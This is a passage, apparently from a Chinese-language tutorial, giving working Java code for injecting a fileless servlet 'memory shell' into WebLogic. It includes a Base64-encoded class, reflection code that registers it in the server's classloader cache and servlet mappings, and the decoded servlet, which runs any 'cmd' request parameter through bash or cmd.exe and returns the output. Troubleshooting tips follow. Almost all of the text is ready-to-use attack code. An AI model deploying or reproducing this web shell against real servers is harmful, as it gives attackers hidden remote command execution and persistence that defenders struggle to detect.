"yv66vgAAADMAkAoAHwBJCAA6CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCABpCgBlAGoHAGsHAGwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADUxodHRwU2VydmxldDsBAAVkb0dldAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdpc0xpbnV4AQABWgEABW9zVHlwAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGb3V0cHV0AQADb3V0AQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQADcmVxAQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAEcmVzcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBSBwAuBwBtBwBcBwBSBwBrBwBuBwBvAQAKRXhjZXB0aW9ucwcAcAcAcQEAClNvdXJjZUZpbGUBABBodHRwU2VydmxldC5qYXZhDAAgACEHAG4MAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAEYmFzaAEAAi1jAQAHY21kLmV4ZQEAAi9jBwB6DAB7AHwMAH0AfgcAfwwAgACBAQARamF2YS91dGlsL1NjYW5uZXIMACAAggEAA1xcYQwAgwCEDACFAIYMAIcAdwEAAAcAbwwAiACJBwCKDACLAIwMAI0AIQwAjgAhAQAHbm90aGluZwwAjwCMAQALaHR0cFNlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3NlAQAFd3JpdGUAIQAeAB8AAAAAAAIAAQAgACEAAQAiAAAALwABAAEAAAAFKrcAAbEAAAACACMAAAAGAAEAAAALACQAAAAMAAEAAAAFACUAJgAAAAQAJwAoAAIAIgAAAbwABAALAAAAsysSArkAAwIATi3GAJ0ENgQSBLgABToFGQXGABMZBbYABhIHtgAImQAGAzYEFQSZABgGvQAJWQMSClNZBBILU1kFLVOnABUGvQAJWQMSDFNZBBINU1kFLVM6BrgADhkGtgAPtgAQOge7ABFZGQe3ABISE7YAFDoIGQi2ABWZAAsZCLYAFqcABRIXOgksuQAYAQA6ChkKGQm2ABkZCrYAGhkKtgAbpwAOLLkAGAEAEhy2AB2xAAAAAwAjAAAARgARAAAADgAJAA8ADQAQABAAEQAXABIAKQATACwAFQBaABYAZwAXAHcAGACLABkAkwAaAJoAGwCfABwApAAdAKcAHgCyACAAJAAAAHAACwAQAJQAKQAqAAQAFwCNACsALAAFAFoASgAtAC4ABgBnAD0ALwAwAAcAdwAtADEAMgAIAIsAGQAzACwACQCTABEANAA1AAoAAACzACUAJgAAAAAAswA2ADcAAQAAALMAOAA5AAIACQCqADoALAADADsAAAA1AAf+ACwHADwBBwA8GVEHAD3+AC4HAD0HAD4HAD9BBwBA/wAdAAQHAEEHAEIHAEMHADwAAAoARAAAAAYAAgBFAEYAAQBHAAAAAgBI";byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);defineClass.setAccessible(true);//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoaderField loader = servletContext.getClass().getDeclaredField("classLoader");loader.setAccessible(true);ClassLoader ClassLoader0 = (ClassLoader) loader.get(servletContext);Class servlet_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中Field classLoader = servletContext.getClass().getDeclaredField("classLoader");classLoader.setAccessible(true);ClassLoader classLoader1 = (ClassLoader) classLoader.get(servletContext);//获取cachedClassesField cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");cachedClasses.setAccessible(true);Object cachedClasses_map = cachedClasses.get(classLoader1);Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);get.setAccessible(true);//把cmdServlet的class存入cachedClasses中Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);put.setAccessible(true);put.invoke(cachedClasses_map, "cmdServlet", servlet_class);try {Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);ServletStubImplConstructor.setAccessible(true);servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext);} catch (Exception e) {Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class, Map.class);ServletStubImplConstructor.setAccessible(true);servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext, null);}// 使用URLMathchHelper包装ServletStubConstructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);URLMatchHelperConstructor.setAccessible(true);Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);// 添加到ServletMapping中,即代表注入servlet内存马成功if (mappings.get(URI) == null) {mappings.put(URI, umh);response.getWriter().println("success");}else{response.getWriter().println("already exist");}} catch (Exception e) {e.printStackTrace();}}public void destroy() {}}
Base64字符串加载的类
import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.util.Scanner;public class httpServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String cmd = req.getParameter("cmd");if(cmd != null){boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = resp.getWriter();out.println(output);out.flush();out.close();}else {resp.getWriter().write("nothing");}}}
可能踩坑的地方
1、修改web.xml的头部
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee"></web-app>
2、如果报错 Command line is too long. Shorten command line….
修改项目下 .idea\workspace.xml,找到标签3、Base64字符串加载的类由于JDK版本不同,在不同环境下可能无法执行,文中的base64字符串加载的类是JDK 1.7.080编译的。
4、注入的类名不能在同一个项目中测试,因为类加载不能加载相同名字的类
